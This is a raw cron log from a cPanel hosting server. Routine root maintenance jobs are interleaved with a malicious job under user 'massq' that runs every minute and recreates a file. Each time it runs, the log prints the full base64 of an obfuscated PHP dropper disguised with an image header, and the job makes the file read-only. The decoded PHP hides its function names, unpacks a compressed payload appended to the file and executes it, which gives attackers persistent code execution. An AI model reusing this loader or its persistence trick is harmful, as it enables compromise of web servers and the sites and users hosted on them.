Sep 11 23:20:01 server CROND[6042]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 23:20:01 server CROND[6043]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 23:20:01 server CROND[6044]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 23:20:01 server CROND[6046]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 23:20:01 server CROND[6049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:21:01 server CROND[6842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:21:01 server CROND[6843]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:21:01 server CROND[6844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:22:01 server CROND[7250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:22:01 server CROND[7251]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:22:01 server CROND[7252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:23:01 server CROND[7695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:23:01 server CROND[7697]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:23:01 server CROND[7696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:24:01 server CROND[8065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:24:01 server CROND[8066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:24:01 server CROND[8067]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:25:01 server CROND[8443]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 23:25:01 server CROND[8446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:25:01 server CROND[8447]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 23:25:01 server CROND[8455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:25:01 server CROND[8456]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 23:25:01 server CROND[8459]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 23:25:01 server CROND[8458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:26:01 server CROND[9263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:26:01 server CROND[9264]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:26:01 server CROND[9265]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:27:01 server CROND[9683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:27:01 server CROND[9684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:27:01 server CROND[9682]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:27:01 server CROND[9685]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 23:28:01 server CROND[10205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:28:01 server CROND[10208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:28:01 server CROND[10209]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:29:01 server CROND[10580]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:29:01 server CROND[10581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:29:01 server CROND[10582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:30:01 server CROND[10963]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 23:30:01 server CROND[10966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:30:01 server CROND[10968]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:30:01 server CROND[10969]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 23:30:01 server CROND[10967]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 23:30:01 server CROND[10970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:30:01 server CROND[10972]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 23:30:01 server CROND[10976]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 23:31:01 server CROND[11798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:31:01 server CROND[11799]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:31:01 server CROND[11800]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:32:01 server CROND[12173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
